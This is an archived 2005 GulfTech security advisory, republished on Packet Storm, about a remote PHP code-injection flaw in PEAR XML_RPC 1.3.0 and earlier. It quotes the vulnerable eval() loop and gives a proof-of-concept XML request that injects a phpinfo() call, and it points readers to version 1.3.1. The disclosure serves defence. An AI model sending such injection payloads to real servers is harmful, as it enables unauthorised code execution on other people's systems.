pear130.txt

2005-07-01T00:00:00
ID PACKETSTORM:38393
Type packetstorm
Reporter James Bercegay
Modified 2005-07-01T00:00:00

Description

                                        
                                            `##########################################################  
# GulfTech Security Research June 29th, 2005  
##########################################################  
# Vendor : The PEAR Group  
# URL : http://pear.php.net/package/XML_RPC/  
# Version : PEAR XML_RPC 1.3.0 && Earlier  
# Risk : Remote Command Execution  
##########################################################  
  
  
  
Description:  
PEAR XML_RPC is a PHP implementation of the XML-RPC web RPC protocol,  
and used by many different developers across the world. PEAR XML_RPC  
was originally developed by Edd Dumbill of Useful Information Company,  
but has since been expanded by several individuals. Unfortunately PEAR  
XML_RPC is vulnerable to a remote php code execution vulnerability that  
may allow for an attacker to compromise a vulnerable server. Version  
1.3.1 has been released to address these issues.  
  
  
  
Remote Command Execution:  
PEAR XML_RPC is vulnerable to a very high risk php code injection   
vulnerability  
due to unsanatized data being passed into an eval() call. Let us have a   
look at  
the code that allows the vulnerability to present itself.  
  
// decompose incoming XML into request structure  
xml_parser_set_option($parser_resource, XML_OPTION_CASE_FOLDING, true);  
xml_set_element_handler($parser_resource, 'XML_RPC_se', 'XML_RPC_ee');  
xml_set_character_data_handler($parser_resource, 'XML_RPC_cd');  
if (!xml_parse($parser_resource, $data, 1)) {  
// return XML error as a faultCode  
$r = new XML_RPC_Response(0,  
  
$XML_RPC_errxml+xml_get_error_code($parser_resource),  
sprintf('XML error: %s at line %d',  
  
xml_error_string(xml_get_error_code($parser_resource)),  
  
xml_get_current_line_number($parser_resource)));  
xml_parser_free($parser_resource);  
} else {  
xml_parser_free($parser_resource);  
$m = new XML_RPC_Message($XML_RPC_xh[$parser]['method']);  
// now add parameters in  
for ($i = 0; $i < sizeof($XML_RPC_xh[$parser]['params']); $i++) {  
// print '<!-- ' . $XML_RPC_xh[$parser]['params'][$i]. "-->\n";  
$plist .= "$i - " . $XML_RPC_xh[$parser]['params'][$i] . " \n";  
eval('$m->addParam(' . $XML_RPC_xh[$parser]['params'][$i] . ');');  
}  
XML_RPC_Server_debugmsg($plist);  
  
The for() loop that holds the vulnerable eval() call is used to build   
the request  
from an incoming POST containing an XML document. There is really no   
type of checks  
or sanitation done prior to this point, and the fact that   
magic_quotes_gpc does not  
apply makes it that much easier for this issue to be exploited.  
  
<?xml version="1.0"?>  
<methodCall>  
<methodName>test.method</methodName>  
<params>  
<param>  
<value><name>','')); phpinfo(); exit;/*</name></value>  
</param>  
</params>  
</methodCall>  
  
The above xml file when posted to the vulnerable server will cause the   
phpinfo()  
function call to be executed on the vulnerable server.  
  
  
  
Solution:  
PEAR XML_RPC 1.3.1 has been released to address this issue and can be   
found at  
  
http://pear.php.net/package/XML_RPC/download/1.3.1  
  
Both users and developers alike are strongly advised to upgrade immediately!  
  
  
  
Related Info:  
The original advisory can be found at the following location  
http://www.gulftech.org/?node=research&article_id=00087-07012005  
  
  
TikiWiki  
http://tikiwiki.org/Download  
  
PostNuke  
http://news.postnuke.com/modules.php?op=modload&name=News&file=article&sid=2699  
  
Drupal  
http://drupal.org/drupal-4.6.2  
  
b2evolution  
http://b2evolution.net/downloads/index.html  
  
b2  
http://cafelog.com/  
  
phpGroupWare  
http://downloads.phpgroupware.org/  
  
eGroupware  
http://sourceforge.net/project/showfiles.php?group_id=78745  
  
Serendipity Weblog  
http://www.s9y.org/  
  
phpAdsNew  
http://phpadsnew.com/two/  
  
Max Media Manager  
http://max.awarez.net/  
  
  
  
Credits:  
James Bercegay of the GulfTech Security Research Team  
  
`